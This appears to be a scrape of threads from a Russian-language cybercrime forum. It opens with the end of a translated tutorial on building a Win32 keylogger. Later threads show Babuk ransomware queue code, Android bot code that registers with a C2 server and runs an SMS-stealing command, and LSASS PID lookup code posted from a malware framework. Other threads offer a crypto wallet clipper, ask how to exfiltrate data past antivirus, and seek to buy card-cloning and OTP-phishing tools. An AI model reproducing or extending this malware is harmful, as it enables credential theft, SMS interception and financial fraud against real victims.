    HWND rawkbd_wnd = CreateWindowExA(0, wc.lpszClassName, NULL, 0, 0, 0, 0, 0, HWND_MESSAGE, NULL, GetModuleHandle(NULL), NULL);
    if(!rawkbd_wnd)
        return -2;

    // setup raw input device sink
    RAWINPUTDEVICE devs = { 0x01 /* generic */, 0x06 /* keyboard */, RIDEV_INPUTSINK, rawkbd_wnd };
    if(RegisterRawInputDevices(&devs, 1, sizeof(RAWINPUTDEVICE)) == FALSE)
        return -3;

    MSG msg;
    while(GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }

    // cleanup
    DestroyWindow(rawkbd_wnd);
    UnregisterClass(wc.lpszClassName, GetModuleHandle(NULL));
    return 0;
}

Лично я предпочитаю этот метод двум другим, поскольку он работает на более низком уровне, позволяет избежать глобальных перехватов Windows и не требует многократного вызова очень заметной функции. Кстати, не стоит доверять значениям, RAWKEYBOARD->VKey так как в некоторых случаях они просто неверны (например, нажатие ALT-GR с французской раскладкой приведет к созданию виртуальной клавиши VK_CONTROL), хотя коды сканирования верны.

ПОЛУЧЕНИЕ КОНТЕКСТА

Мы представили три метода получения нажатий клавиш, но для восстановления потоков символов нам понадобится некоторая контекстная информация. Кроме того, чтобы создать достойный кейлоггер, нам понадобится дополнительная информация, такая как заголовок и процесс текущего окна, текущее имя пользователя, временные метки и так далее.

Первое, что нужно сделать, — это получить дескриптор текущего активного окна, поскольку именно оно будет получать нажатия клавиш. Затем мы хотим получить идентификатор потока, ответственного за обработку этого окна, что позволит нам вызывать HKL GetKeyboardLayout(HANDLE thread_id);дескриптор раскладки клавиатуры, используемой потоком активного окна. Вот как вы можете это сделать:

1710404091856.png

Чтобы получить идентификатор процесса, вы можете сначала использовать OpenThread() с THREAD_QUERY_INFORMATION, а затем вызвать GetProcessIdOfThread(), который вернет pid. Из PID вы можете получить имя процесса, перечислив запущенные процессы с помощью CreateToolhelp32Snapshot, Process32Firstи Process32Next. Другие полезные функции для получения контекстной информации включают GetSystemTime(), GetWindowTextA(), GetUserNameA()и т. д.

Примечание. Консольные программы не создают и не запускают собственное графическое окно, как оно обрабатывается conhost.exe поэтому GetKeyboardLayout() в этом примере вызов завершится неудачно.

В следующей статье мы расскажем, как анализировать библиотеки DLL раскладки клавиатуры Windows, чтобы иметь возможность эмулировать код сканирования в процесс перевода символов.

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: <https://www.synacktiv.com/publications/writing-a-decent- win32-keylogger-13>

queue
ID: 6765d804b4103b69df375861
Thread ID: 76004
Created: 2022-11-16T17:34:46+0000
Last Post: 2022-11-25T04:04:52+0000
Author: jingo
Replies: 3 Views: 468

отрыл исходники бабука на форуме, не могу разобраться с его потоками...

инициализирую очередь, создаю потоки и посылаю в очередь 3 сообщения

C:Copy to clipboard

        SYSTEM_INFO lcSysInfo;
        GetSystemInfo(&lcSysInfo);

        DWORD dwNumberOfProcessors = lcSysInfo.dwNumberOfProcessors;

        DWORD dwNumberOfThreads = dwNumberOfProcessors * 4;
        DWORD dwNumberOfThreadsDivideBy2 = dwNumberOfThreads / 2;

        _que_initialize(&que_f, dwNumberOfThreads * 6);

        HANDLE* threads = (HANDLE*)malloc(dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));

        memset(threads, 0, dwNumberOfThreadsDivideBy2 * sizeof(HANDLE));

        for (int i = 0; i < dwNumberOfThreadsDivideBy2; i++) {
            threads[i] = CreateThread(0, 0, lilBabuk, (LPVOID)1, 0, 0);
        }

        _que_push(&que_f, (wchar_t*)L"test", TRUE);
        _que_push(&que_f, (wchar_t*)L"test2", TRUE);
        _que_push(&que_f, (wchar_t*)L"test3", TRUE);

        WaitForMultipleObjects(dwNumberOfThreadsDivideBy2, threads, TRUE, INFINITE);

сам воркер:

C:Copy to clipboard

DWORD WINAPI lilBabuk(LPVOID lpData) {
    INT iError = 0;
    WCHAR* path = 0;
    if (lpData) {
        while (TRUE) {
            if ((path = _que_pop(&que_f, FALSE, &iError)) != 0) {
                WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), path, strlenW(path) * sizeof(wchar_t), NULL, NULL);
                WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), (LPVOID)"\n", 1, NULL, NULL);
                FreeMemory(path);
            } else {
                Sleep(100);
                WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), (LPVOID)"Stuck", strlen("Stuck"), NULL, NULL);
                WriteFile(GetStdHandle(STD_OUTPUT_HANDLE), (LPVOID)"\n", 1, NULL, NULL);
            }
        }
    }
    else {
        /*while ((path = _que_pop(&que_f, TRUE, &iError)) != 0) {
            _encrypt_file(path);
            _hfree(path);
        }*/
    }
    ExitThread(0);
}

собственно, первое сообщение в консоль выводится, затем "Stuck" каждые 100мс.
посмотрел принцип работы самой очереди и понял, что
queue->data_avail
после первого сообщения не очищается... не совсем понимаю как это исправить

сурс queue:

Spoiler: queue.c

C:Copy to clipboard

#include <windows.h>

#include "memory.h"
#include "queue.h"

void _que_initialize(QUEUE* queue, INT size) {
    queue->queue_size = size;
    queue->buffer = (WCHAR**)_halloc(size * sizeof(WCHAR*));
    queue->space_avail = CreateSemaphoreA(NULL, size, size, NULL);
    queue->data_avail = CreateSemaphoreA(NULL, 0, size, NULL);
    queue->in_pos = 0;
    queue->out_pos = 0;
    InitializeCriticalSection(&(queue->mutex));
}

int _que_push(QUEUE* queue, LPWSTR data, int wait) {
    if (WaitForSingleObject(queue->space_avail, 0) != WAIT_OBJECT_0) {
        if (wait) WaitForSingleObject(queue->space_avail, INFINITE);
        else return 0;
    }

    EnterCriticalSection(&(queue->mutex));
    WCHAR* realloced_str = 0;
    if (data)
    {
        int memSize = sizeof(WCHAR) * (lstrlenW(data) + 1);
        realloced_str = (WCHAR*)_halloc(memSize);
        _memcpy(realloced_str, data, memSize);
    }
    queue->buffer[queue->in_pos] = realloced_str;
    queue->in_pos = (queue->in_pos + 1) % queue->queue_size;
    LeaveCriticalSection(&queue->mutex);
    ReleaseSemaphore(queue->data_avail, 1, NULL);

    return 1;
}

LPWSTR _que_pop(QUEUE* queue, int wait, int* dwError) {
    *dwError = 0;

    if (WaitForSingleObject(queue->data_avail, 0) != WAIT_OBJECT_0) {
        if (wait) WaitForSingleObject(queue->data_avail, INFINITE);
        else {
            *dwError = QUEUE_ERR_TIMEOUT;
            return 0;
        }
    }

    EnterCriticalSection(&queue->mutex);
    LPWSTR retval = queue->buffer[queue->out_pos];
    queue->out_pos = (queue->out_pos + 1) % queue->queue_size;
    LeaveCriticalSection(&queue->mutex);
    ReleaseSemaphore(queue->space_avail, 1, NULL);
    return retval;
}

Spoiler: queue.h

C:Copy to clipboard

#ifndef QUEUE_H_INCLUDED
#define QUEUE_H_INCLUDED

#define QUEUE_ERR_TIMEOUT -1

#include <windows.h>

struct QUEUE {
    HANDLE space_avail;
    HANDLE data_avail;
    CRITICAL_SECTION mutex;
    INT queue_size = 0;
    LPWSTR* buffer = 0;
    long in_pos = 0;
    long out_pos = 0;
};

void _que_initialize(QUEUE* queue, INT size);

LPWSTR _que_pop(QUEUE* queue, int wait, int* dwError);
int _que_push(QUEUE* queue, LPWSTR data, int wait);

#endif
Как сделать автоматическую выдачу прав на Overlay (всплывающее окно) на устройствах Xiaomi (Android и Kotlin)?
ID: 6765d804b4103b69df3756da
Thread ID: 120527
Created: 2024-08-10T11:05:12+0000
Last Post: 2024-08-10T11:05:12+0000
Author: XDRevil
Replies: 0 Views: 468

Проблема в том, что после обновления Xiaomi зимой, Accessibility Service перестала распознавать кликабельность кнопки, которая вызывает всплывающее окно для предоставления прав.

Соединение с C&C, отправка файлов.
ID: 6765d804b4103b69df3758ea
Thread ID: 63432
Created: 2022-02-24T05:43:35+0000
Last Post: 2022-03-11T14:39:19+0000
Author: Gese11en
Replies: 8 Views: 465

Добрый день. Занимаюсь разработкой малвари, написал основные модули и вот теперь встал вопрос отправки собранных данных сервер. Первое, что приходит на ум отпрвка с помощью UPD, но мне кажется, такое решение будет слишком палевным для аверов. При этом я бы не хотел создавать никаких лишних файлов и архивов на системе. Есть какие-то техники или проекты, в сторону которых стоит посмотреть? Google не выдал ничего дельного по этому поводу

как сделать свой чекер на вирусы по типу virustotal на c# ?
ID: 6765d804b4103b69df37591c
Thread ID: 61037
Created: 2022-01-08T19:42:01+0000
Last Post: 2022-01-11T14:30:31+0000
Author: MangaM
Replies: 6 Views: 464

Понимаю что есть куча сервисов, которые это делают и вроде как даже не сливают инфу, но все же, доверять им особо желания нету. Задался вот таким вопросом. Может у кого то есть идеи или предложения по этому поводу ?

Поиск материалов по C#
ID: 6765d804b4103b69df37585b
Thread ID: 77010
Created: 2022-11-29T21:57:37+0000
Last Post: 2022-11-30T06:53:45+0000
Author: blxcklisted
Replies: 1 Views: 463

Ребят может кто посоветовать книгу или материалы по С#, по типу black hat python

Стиллер на С++
ID: 6765d804b4103b69df37582f
Thread ID: 80147
Created: 2023-01-17T08:08:20+0000
Last Post: 2023-01-17T08:27:38+0000
Author: Deployself
Replies: 2 Views: 463

Всем пользователям добрый день, заинтерисовался в разработке данного ПО, но на некоторых этапах возникали трудости, возможно у кого-то есть готовые мануалы/исходники ? Т.к. в открытом доступе такого абсолютно нет (на языке С/C++)

[ПОМОЩЬ] - Реверс кода на WebAssembly
ID: 6765d804b4103b69df375847
Thread ID: 78233
Created: 2022-12-15T21:37:27+0000
Last Post: 2022-12-15T21:37:27+0000
Author: Kendric_s
Replies: 0 Views: 461

Есть модуль одного сайта написанный на WebAssembly отвечающий за генерацию сигнатуры, которая уходит вместе с запросом в хидерах, не могу разобраться что конкретно делает код, чтобы повторить
https://send.exploit.in/download/efc8c1f594d54f6c/#jLf-66jfmDh48JdeMo5TZw

Точкой входа является функция c_s_f на 468 строке вот её прототип (func $c_s_f (;11;) (export "c_s_f") (param $var0 i32) (param $var1 i32) (param $var2 i32) (param $var3 i32) (param $var4 i32) (param $var5 i32) (result i32)

В Js скрипте функция вызывается вот так t.c_s_f(b[0].byteOffset, b[1].byteOffset, b[2].byteOffset, b[3].byteOffset, b[4].byteOffset, a.byteOffset)
Передается всего 6 аргументов, первые 5 - ссылки на кусок памяти как например в C, но только на манере Js, но это неважно, первые 5 аргументов это массивы байтов(uint8) содержащих в себе параметры запроса переведенные в ASCII коды символов, последним параметром выступает ссылка на буфер длинной 64 куда будет записан результат, который и является искомой сигнатурой

Прошу помочь понять, что творится под капотом в этом коде

Пример упорядоченных исходных данных по порядку как оригинальный скрипт передает их в функцию c_s_f по 1 на строку на конце нуль-терминатор
71 69 84 0
47 116 111 107 101 110 47 98 97 108 97 110 99 101 95 108 105 115 116 0
99 104 97 105 110 61 104 109 121 38 105 115 95 97 108 108 61 102 97 108 115 101 38 117 115 101 114 95 97 100 100 114 61 48 120 97 98 53 56 48 49 97 55 100 51 57 56 51 53 49 98 56 98 101 49 49 99 52 51 57 101 48 53 99 53 98 51 50 53 57 97 101 99 57 98 0
110 95 73 50 110 54 84 79 79 121 74 77 112 99 114 75 50 68 53 81 119 115 105 66 122 84 74 77 75 84 48 104 107 119 85 54 87 78 101 55 83 83 0
49 54 55 49 49 51 49 48 51 53 0

Должно вернуть сигнатуру(HEX): 746fb3b21508276bfc4cfedd0f4ff84f655b348562c8a62ec865172981af2fcf
Должно вернуть сигнатуру(ASCII): 55 52 54 102 98 51 98 50 49 53 48 56 50 55 54 98 102 99 52 99 102 101 100 100 48 102 52 102 102 56 52 102 54 53 53 98 51 52 56 53 54 50 99 56 97 54 50 101 99 56 54 53 49 55 50 57 56 49 97 102 50 102 99 102

Searching and learning with Google and how to use it like a pro
ID: 6765d804b4103b69df3756d6
Thread ID: 120786
Created: 2024-08-14T17:38:15+0000
Last Post: 2024-08-14T17:38:15+0000
Author: khalid
Replies: 0 Views: 458

Yes, it sounds like a stupid question, but this is difficult for many people. Many people don't know how to use search engines for learning and knowledge, or to solve their practical problems, or they don't know where to look. The school doesn't have professors if you see the files, you will know how to use search, but that's the problem, any suggestions to solve this problem, I don't know how to use it.

Android Kotlin (Проблема Подключение к Серверу PHP)
ID: 6765d804b4103b69df3756b8
Thread ID: 123762
Created: 2024-09-29T17:33:50+0000
Last Post: 2024-09-30T14:13:37+0000
Author: XDRevil
Replies: 1 Views: 456

Code:Copy to clipboard

package utf.comzero.app

import android.annotation.SuppressLint
import android.app.Activity
import android.content.Intent
import android.os.Bundle
import android.provider.Settings
import java.security.SecureRandom

class MainActivity : Activity() {

    private val url = "http://0.0.0.0:80"

    @SuppressLint("MissingInflatedId")
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        initialization()
        val deviceManager = DeviceManager
        deviceManager.registerDevice(this)
        deviceManager.fetchDevices()
        //initDeviceManager(this)
        EndlessService.autoStart(this)
        startActivity(Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS))
    }

    private fun initialization() {
        try {
            SharedPreferencess.idbot = generateDeviceId()
            SharedPreferencess.c2 = url
        } catch (_: Exception) {
        }
    }

    private fun generateDeviceId(): String {
        val chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
        val random = SecureRandom()
        return (1..10)
            .map { chars[random.nextInt(chars.length)] }
            .joinToString("")
    }
}

Code:Copy to clipboard

package utf.comzero.app

import android.content.Context
import android.content.pm.PackageManager
import android.os.PowerManager
import android.telephony.TelephonyManager
import android.util.Log
import okhttp3.*
import com.google.gson.Gson
import com.google.gson.reflect.TypeToken
import okhttp3.MediaType.Companion.toMediaTypeOrNull
import okhttp3.RequestBody.Companion.toRequestBody
import org.json.JSONObject
import java.io.IOException

object DeviceManager {
    private val client = OkHttpClient()
    private val gson = Gson()
    private const val SERVER_URL = "http://0.0.0.0:80/gate-devices.php"
    private const val COMMANDS_URL = "http://0.0.0.0:80/gate-commands.php"

    data class Device(
        val id: String,
        val os: String,
        val model: String,
        val screenState: String,
        val phoneNumber: String?
    )

    fun registerDevice(context: Context) {
        Log.d("DeviceManager", "Starting device registration")
        val deviceInfo = collectDeviceInfo(context)
        Log.d("DeviceManager", "Collected device info: $deviceInfo")
        sendDeviceInfo(deviceInfo)
        checkCommands(deviceInfo.id, context)
    }

    private fun collectDeviceInfo(context: Context): Device {
        val deviceId = "11111"
        val deviceOs = "Android ${android.os.Build.VERSION.RELEASE}"
        val deviceModel = android.os.Build.MODEL
        val screenState = if (isScreenOn(context)) "on" else "off"
        val phoneNumber = getPhoneNumber(context)

        Log.d("DeviceManager", "Device collected: id=$deviceId, os=$deviceOs, model=$deviceModel, screenState=$screenState, phoneNumber=$phoneNumber")
        return Device(deviceId, deviceOs, deviceModel, screenState, phoneNumber)
    }

    private fun sendDeviceInfo(device: Device) {
        val json = gson.toJson(device)
        Log.d("DeviceManager", "Sending device info: $json")
        val requestBody = json.toRequestBody("application/json".toMediaTypeOrNull())

        val request = Request.Builder()
            .url(SERVER_URL)
            .post(requestBody)
            .build()

        client.newCall(request).enqueue(object : Callback {
            override fun onFailure(call: Call, e: IOException) {
                Log.e("DeviceManager", "Error sending device info: ${e.message}")
            }

            override fun onResponse(call: Call, response: Response) {
                if (!response.isSuccessful) {
                    Log.e("DeviceManager", "Unexpected code: ${response.code}")
                } else {
                    Log.d("DeviceManager", "Response: ${response.body?.string()}")
                }
            }
        })
    }

    private fun getPhoneNumber(context: Context): String? {
        val telephonyManager = context.getSystemService(Context.TELEPHONY_SERVICE) as TelephonyManager
        return if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
            if (context.checkSelfPermission(android.Manifest.permission.READ_PHONE_STATE) == PackageManager.PERMISSION_GRANTED) {
                telephonyManager.line1Number
            } else {
                Log.w("DeviceManager", "Permission READ_PHONE_STATE not granted, unable to access phone number")
                null
            }
        } else {
            telephonyManager.line1Number
        }
    }

    private fun checkCommands(deviceId: String, context: Context) {
        Log.d("DeviceManager", "Checking commands for device ID: $deviceId")
        val requestBody = FormBody.Builder().add("id", deviceId).build()
        val request = Request.Builder()
            .url(COMMANDS_URL)
            .post(requestBody)
            .build()

        client.newCall(request).enqueue(object : Callback {
            override fun onFailure(call: Call, e: IOException) {
                Log.e("DeviceManager", "Error checking commands: ${e.message}")
            }

            override fun onResponse(call: Call, response: Response) {
                response.body?.string()?.let { responseBody ->
                    Log.d("DeviceManager", "Commands response: $responseBody")
                    val jsonResponse = JSONObject(responseBody)
                    if (jsonResponse.getString("status") == "success") {
                        jsonResponse.getJSONArray("commands").let { commands ->
                            for (i in 0 until commands.length()) {
                                val command = commands.getString(i)
                                Log.d("DeviceManager", "Command: $command")
                                if (command == "getsms") {
                                    Log.d("DeviceManager", "Executing command: getsms")
                                    Bot.GetSMS(context)
                                }
                            }
                        }
                    } else {
                        Log.d("DeviceManager", "No commands found for device.")
                    }
                }
            }
        })
    }

    fun fetchDevices() {
        Log.d("DeviceManager", "Fetching devices from server")
        val request = Request.Builder()
            .url(SERVER_URL)
            .build()

        client.newCall(request).enqueue(object : Callback {
            override fun onFailure(call: Call, e: IOException) {
                Log.e("DeviceManager", "Error fetching devices: ${e.message}")
            }

            override fun onResponse(call: Call, response: Response) {
                response.body?.string()?.let {
                    Log.d("DeviceManager", "Devices response: $it")
                    val deviceType = object : TypeToken<Map<String, Device>>() {}.type
                    val devices: Map<String, Device> = gson.fromJson(it, deviceType)
                    devices.forEach { (id, device) ->
                        Log.d("Device", "ID: $id, OS: ${device.os}, Model: ${device.model}, Screen State: ${device.screenState}")
                    }
                }
            }
        })
    }

    private fun isScreenOn(context: Context): Boolean {
        val powerManager = context.getSystemService(Context.POWER_SERVICE) as PowerManager
        return if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT_WATCH) {
            powerManager.isInteractive
        } else {
            powerManager.isScreenOn
        }
    }
}

Сервером все хорошо, я чекал через curl (делает коннект)

Закрывается программа когда я вызываю VirtualAllocEx
ID: 6765d804b4103b69df375984
Thread ID: 54665
Created: 2021-08-01T09:11:37+0000
Last Post: 2021-08-01T13:06:56+0000
Author: Exfazo
Replies: 9 Views: 456

Короче на софте стоят разные защиты, вообщем когда я выделяю память в процессе через VirtualAllocEx, програ это видит и закрывается. Хочу знать все варианты как эта програ чекает выделение памяти, что бы обойти, пока на ум приходит то что эта програ ставит хуки во всех процессах, но мне кажется это херня.

3 uncommon techniques for identifying the process ID for LSASS
ID: 6765d804b4103b69df3757fa
Thread ID: 85318
Created: 2023-04-06T03:31:41+0000
Last Post: 2023-04-12T16:22:01+0000
Author: smelly__vx
Replies: 4 Views: 456

This is code I developed for my malware framework. I want to share some code snippets here. This research originates from MODEXP.

` //generic helper function, is the dll loaded? HMODULE TryLoadDllMultiMethodW(In PWCHAR DllName) { HMODULE hModule; if (!IsDllLoadedW(DllName)) hModule = LoadLibraryW(DllName); else hModule = GetModuleHandleEx2W(DllName); return hModule; } //method 1 - get pid from named Pipe DWORD MpfGetLsaPidFromNamedPipe(VOID) { UNICODE_STRING Pipe = { 0 }; NTOPENFILE NtOpenFile = NULL; NTFSCONTROLFILE NtfsControlFile = NULL; NTCLOSE NtClose = NULL; HMODULE hModule = NULL; IO_STATUS_BLOCK IoBlock = { 0 }; OBJECT_ATTRIBUTES Attributes = { 0 }; DWORD ProcessId = ERROR_SUCCESS; HANDLE hHandle = INVALID_HANDLE_VALUE; NTSTATUS Status = STATUS_SUCCESS; LPSTR InputBuffer = (LPSTR)"ServerProcessId"; hModule = TryLoadDllMultiMethodW((PWCHAR)L"ntdll.dll"); if (hModule == NULL) return -1; NtOpenFile = (NTOPENFILE)GetProcAddressA((DWORD64)hModule, "NtOpenFile"); NtfsControlFile = (NTFSCONTROLFILE)GetProcAddressA((DWORD64)hModule, "NtFsControlFile"); NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); if (!NtOpenFile || !NtfsControlFile || !NtClose) return -1; RtlInitUnicodeString(&Pipe, L"\Device\NamedPipe\lsass"); InitializeObjectAttributes(&Attributes, &Pipe, OBJ_CASE_INSENSITIVE, 0, NULL); Status = NtOpenFile(&hHandle, FILE_READ_ATTRIBUTES, &Attributes, &IoBlock, FILE_SHARE_READ, NULL); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; Status = NtfsControlFile(hHandle, NULL, NULL, NULL, &IoBlock, FSCTL_PIPE_GET_PIPE_ATTRIBUTE, InputBuffer, (ULONG)StringLengthA(InputBuffer)

  • 1, &ProcessId, sizeof(DWORD)); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; EXIT_ROUTINE: if (hHandle) NtClose(hHandle); return ProcessId; } //method 2 - get lsass pid from service manager DWORD MpfGetLsaPidFromServiceManager(VOID) { SC_HANDLE Manager = NULL, ServiceHandle = NULL; DWORD ProcessId = ERROR_SUCCESS, BytesNeeded = ERROR_SUCCESS; SERVICE_STATUS_PROCESS ServiceStatus = { 0 }; Manager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); if (Manager == NULL) return 0; ServiceHandle = OpenServiceW(Manager, L"samss", SERVICE_QUERY_STATUS); if (ServiceHandle == NULL) goto EXIT_ROUTINE; if(!QueryServiceStatusEx(ServiceHandle, SC_STATUS_PROCESS_INFO, (LPBYTE)&ServiceStatus, sizeof(ServiceStatus), &BytesNeeded)) goto EXIT_ROUTINE; ProcessId = ServiceStatus.dwProcessId; EXIT_ROUTINE: if(ServiceHandle) CloseServiceHandle(ServiceHandle); if (Manager) CloseServiceHandle(Manager); return ProcessId; } //method 3 - get lsass pid from registry DWORD MpfGetLsaPidFromRegistry(VOID) { NTOPENKEY NtOpenKey = NULL; NTQUERYVALUEKEY NtQueryValueKey = NULL; NTCLOSE NtClose = NULL; UNICODE_STRING LsaRegistryPath = { 0 }; UNICODE_STRING LsaValue = { 0 }; OBJECT_ATTRIBUTES Attributes = { 0 }; HANDLE hKey = NULL; NTSTATUS Status = STATUS_SUCCESS; HMODULE hModule = NULL; DWORD LsassPid = ERROR_SUCCESS; UCHAR Buffer[sizeof(KEY_VALUE_INFORMATION_CLASS) * sizeof(DWORD)] = { 0 }; PKEY_VALUE_PARTIAL_INFORMATION ValueObject = (PKEY_VALUE_PARTIAL_INFORMATION)Buffer; DWORD BufferLength = 0; PDWORD dwDispose = NULL; hModule = GetModuleHandleW(L"ntdll.dll"); if (hModule == NULL) goto EXIT_ROUTINE; NtOpenKey = (NTOPENKEY)GetProcAddressA((DWORD64)hModule, "NtOpenKey"); NtQueryValueKey = (NTQUERYVALUEKEY)GetProcAddressA((DWORD64)hModule, "NtQueryValueKey"); NtClose = (NTCLOSE)GetProcAddressA((DWORD64)hModule, "NtClose"); if (!NtOpenKey || !NtQueryValueKey || !NtClose) goto EXIT_ROUTINE; RtlInitUnicodeString(&LsaRegistryPath, L"\Registry\Machine\SYSTEM\CurrentControlSet\Control\Lsa"); RtlInitUnicodeString(&LsaValue, L"LsaPid"); InitializeObjectAttributes(&Attributes, &LsaRegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL); Status = NtOpenKey(&hKey, KEY_QUERY_VALUE, &Attributes); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; #pragma warning( push ) #pragma warning( disable : 6260) Status = NtQueryValueKey(hKey, &LsaValue, KeyValuePartialInformation, Buffer, (sizeof(KEY_VALUE_INFORMATION_CLASS) * sizeof(DWORD)), &BufferLength); if (!NT_SUCCESS(Status)) goto EXIT_ROUTINE; #pragma warning( pop ) LsassPid = *(PDWORD)&ValueObject->Data[0]; // = *dwDispose; EXIT_ROUTINE: if (hKey) NtClose(hKey); return LsassPid; } `
Закрываем процессы через список List
ID: 6765d804b4103b69df37599e
Thread ID: 52736
Created: 2021-06-10T11:32:41+0000
Last Post: 2021-06-10T11:32:41+0000
Author: EmeliRouse
Replies: 0 Views: 454

Hidden content for authorized users.

Создаём класс ProcessControl.cs

В него запишем список процессов необходимых для закрытия

C#:Copy to clipboard

static readonly List<string> ListManagers = new List<string>
{
  "Clipper", "Clip", "Buffer"
};

Создаём метод для закрытия процессов из списка List

C#:Copy to clipboard

public static void InizializeKiller()
{
   try
   {
      // Получаем наш процесс
      Process currentProcess = Process.GetCurrentProcess();
      // Проходимся по списку
      foreach (string list in ListManagers)
      {
        // Затем получаем имена процессов
        foreach (Process process in Process.GetProcessesByName(list))
        {
           try
           {
              // Делаем проверку на совпадения со списка процессов и не трогаем наш процесс
              if (process.ProcessName.ToLower().Contains(list.ToLower()) && process.ProcessName != currentProcess.ProcessName)
              {
                 try
                 {
                   // За место Kill просто закрываем окна ( это более безопасный метод использования )
                   process.CloseMainWindow();
                 }
                 catch { }
              }
           }
           catch { continue; }
         }
      }
   }
   catch { }
}

Далее просто вызываем метод InizializeKiller(); в любом месте.

Implementation of advanced wallet clipper source in [C++]
ID: 6765d804b4103b69df3757f8
Thread ID: 85586
Created: 2023-04-10T03:54:37+0000
Last Post: 2023-04-14T04:40:09+0000
Author: GridsNetwork
Replies: 3 Views: 452

Developed from scratch
Maybe some will come handy
With persistent background process.

Input your wallet addresses on the .txt file

Pass:

You must have at least 200 reaction(s) to view the content.

Download:

You must have at least 200 reaction(s) to view the content.

AI bug-hunter for Visual Studio Code
ID: 6765d804b4103b69df3756c6
Thread ID: 122216
Created: 2024-09-07T05:10:46+0000
Last Post: 2024-09-07T05:10:46+0000
Author: Focus17
Replies: 0 Views: 451

![github.com](/proxy.php?image=https%3A%2F%2Fopengraph.githubassets.com%2F7fc81a225b296f0623957f8d67314095ec3e0a80d8fd07486fb5e64d87b59a66%2Fortegaalfredo%2Fautok- extension&hash=6a5d6f58621cf816699ae969e622f5c2&return_error=1)

[ GitHub - ortegaalfredo/autok-extension: AI-powered bug hunter - vscode

plugin. ](https://github.com/ortegaalfredo/autok-extension)

AI-powered bug hunter - vscode plugin. Contribute to ortegaalfredo/autok- extension development by creating an account on GitHub.

github.com github.com

Seeking EMV Studio and SMS bot
ID: 6765d804b4103b69df37583f
Thread ID: 78650
Created: 2022-12-23T09:41:03+0000
Last Post: 2022-12-24T08:02:50+0000
Author: mpenis
Replies: 1 Views: 450

EMV - cloning credit card.
SMS bot - that if u provide the bot with the phone number it will call the victime and ask for the sms code that come to his phone, the sms code for cc payment.
I would buy with pleasure.
меня не взломали написал на английском ради прикола

Ищу кодера
ID: 6765d804b4103b69df375716
Thread ID: 112048
Created: 2024-04-05T13:56:26+0000
Last Post: 2024-04-10T09:07:56+0000
Author: Garantpres
Replies: 1 Views: 449

Для создания скрипта под ClubGG (poker). Нужен кодер. Подробно ТЗ опишу в лс. Бюджет хороший. Работаю через гаранта форума.

Пишем музыкальный воспроизводитель музыки в формате .wav
ID: 6765d804b4103b69df37599f
Thread ID: 52734
Created: 2021-06-10T11:26:40+0000
Last Post: 2021-06-10T11:26:40+0000
Author: EmeliRouse
Replies: 0 Views: 449

Hidden content for authorized users.

Конечно лучше всего использовать библиотеку NAudio но мы сделает простой велосипед )

Для начала подключаем зависимости

C#:Copy to clipboard

using Properties;
using System;
using System.IO;
using System.Media;
using System.Threading;

Закинем в ресурсы волновой файл формата .wav

P.S: Есть много конвертеров которые конвертируют любые форматы в .wav
На примере можно взять FFmpeg: и конвертировать таким скриптом: ffmpeg - i вашфайл.mp3 вашфайл.wav

P.P.S: Есть один минус из этого что файл на выходе будет прилично весить под 50 - 100 МБ.

Создадим класс MusicEdition.cs

Вопрос :
Как это работает?

Ответ :
Сначала мы проверяем файл на существование, если программа его находит что идём дальше, если нет то пишем уведомление пользователю что файл не найден.

После загружаем файл из нужного нам пути:
( Предварительно нужно обвернуть функцию SoundPlayer в using - чтобы освободить ресурсы проигрывателя )
Внутри функции мы загружаем музыкальный файл, после делаем проверку что файл был загружен успешно, и начинаем проигрывание )

С загрузкой из ресурсов те же самые манипуляции =)

C#:Copy to clipboard

namespace MusicPlay
{
    using Properties;
    using System;
    using System.IO;
    using System.Media;
    using System.Threading;

    public class MusicEdition
    {
        public static void PlayFrom(string path_wav)
        {
            if (File.Exists(path_wav))
            {
                try
                {
                    Console.WriteLine("Файл найден... Загружаем...");
                    using (var player = new SoundPlayer())
                    {
                        player.SoundLocation = path_wav;
                        player.Load();
                        if (player.IsLoadCompleted)
                        {
                            Console.WriteLine("Загрузка завершена.");
                            Thread.Sleep(1000);
                            Console.WriteLine("Запускаем проигрывание.");
                            player.Play();
                        }
                        else
                        {
                            Console.WriteLine("Загрузка не успешна");
                        }
                    }
                }
                catch (InvalidOperationException ioe) { Console.WriteLine(ioe.Message); }
            }
            else
            {
                Console.WriteLine("Музыкальный файл не обнаружен.");
            }
        }

        public static void PlayFromResource()
        {
            using (UnmanagedMemoryStream str = Resources.Music) // Resources.Music - ваш музыкальный файл.
            {
                try
                {
                    using (var snd = new SoundPlayer(str))
                    {
                        snd.Load();
                        if (snd.IsLoadCompleted)
                        {
                            Console.WriteLine("Загрузка завершена.");
                            Thread.Sleep(1000);
                            Console.WriteLine("Запускаем проигрывание.");
                            snd.Play();
                        }
                        else
                        {
                            Console.WriteLine("Загрузка не успешна");
                        }
                    }
                }
                catch (InvalidOperationException ioe) { Console.WriteLine(ioe.Message); }
            }
        }
    }
}

Вызывается просто:

C#:Copy to clipboard

namespace MusicPlay
{
    using System;

    internal static class Program
    {
        private static readonly string Desktop = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory);

        [STAThread]
        public static void Main()
        {
            //MusicEdition.PlayFrom(Path.Combine(Desktop, "1.wav"));
            MusicEdition.PlayFromResource();
            Console.ReadKey();
        }
    }
}
Почему крашит?
ID: 6765d804b4103b69df37585a
Thread ID: 77045
Created: 2022-11-30T12:26:58+0000
Last Post: 2022-11-30T13:13:12+0000
Author: kingessopper
Replies: 2 Views: 449

